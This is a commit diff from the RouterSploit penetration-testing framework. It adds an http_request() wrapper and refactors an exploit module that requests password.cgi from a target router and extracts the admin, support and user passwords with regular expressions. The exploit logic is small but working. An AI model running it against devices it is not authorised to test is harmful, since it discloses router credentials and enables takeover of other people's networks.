Commit 121eed79 by fwkz

Adding http_request() idea.

parent 6321f085
from routersploit.utils import ( from routersploit.utils import (
print_error, print_status, print_success, print_error,
print_table, print_info, sanitize_url, print_status,
print_success,
print_table,
print_info,
sanitize_url,
LockedIterator, LockedIterator,
http_request,
) )
from routersploit import exploits from routersploit import exploits
......
import requests
import re import re
from routersploit import ( from routersploit import (
...@@ -8,6 +7,7 @@ from routersploit import ( ...@@ -8,6 +7,7 @@ from routersploit import (
print_error, print_error,
print_success, print_success,
print_table, print_table,
http_request,
) )
...@@ -40,12 +40,8 @@ class Exploit(exploits.Exploit): ...@@ -40,12 +40,8 @@ class Exploit(exploits.Exploit):
print_status("Requesting for {}".format(url)) print_status("Requesting for {}".format(url))
try: try:
response = requests.get(url).text response = http_request(method="GET", url=url).text
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema): except AttributeError:
print_error("Invalid URL format: {}".format(url))
return
except requests.exceptions.ConnectionError:
print_error("Connection error: {}".format(url))
return return
admin = re.findall("pwdAdmin = '(.+?)'", response) admin = re.findall("pwdAdmin = '(.+?)'", response)
...@@ -70,8 +66,8 @@ class Exploit(exploits.Exploit): ...@@ -70,8 +66,8 @@ class Exploit(exploits.Exploit):
url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port)) url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port))
try: try:
response = requests.get(url).text response = http_request(method="GET", url=url).text
except: except AttributeError:
return None # could not be verified return None # could not be verified
if any(map(lambda x: x in response, ["pwdSupport", "pwdUser", "pwdAdmin"])): if any(map(lambda x: x in response, ["pwdSupport", "pwdUser", "pwdAdmin"])):
......
...@@ -3,6 +3,8 @@ import threading ...@@ -3,6 +3,8 @@ import threading
from functools import wraps from functools import wraps
import sys import sys
import requests
print_lock = threading.Lock() print_lock = threading.Lock()
...@@ -194,12 +196,10 @@ def sanitize_url(address): ...@@ -194,12 +196,10 @@ def sanitize_url(address):
Converts address to valid HTTP url. Converts address to valid HTTP url.
""" """
if not address.startswith("http://") and not address.startswith("https://"): if address.startswith("http://") or address.startswith("https://"):
url = "http://" + address return address
else: else:
url = address return "http://{}".format(address)
return url
def pprint_dict_in_order(dictionary, order=None): def pprint_dict_in_order(dictionary, order=None):
...@@ -243,3 +243,19 @@ def pprint_dict_in_order(dictionary, order=None): ...@@ -243,3 +243,19 @@ def pprint_dict_in_order(dictionary, order=None):
for rest_keys in keys: for rest_keys in keys:
prettyprint(rest_keys, dictionary[rest_keys]) prettyprint(rest_keys, dictionary[rest_keys])
def http_request(method, url, **kwargs):
""" Wrapper for 'requests' silencing exceptions a little bit. """
try:
return getattr(requests, method.lower())(url, **kwargs)
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema):
print_error("Invalid URL format: {}".format(url))
return
except requests.exceptions.ConnectionError:
print_error("Connection error: {}".format(url))
return
except requests.RequestException as error:
print_error(error)
return
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment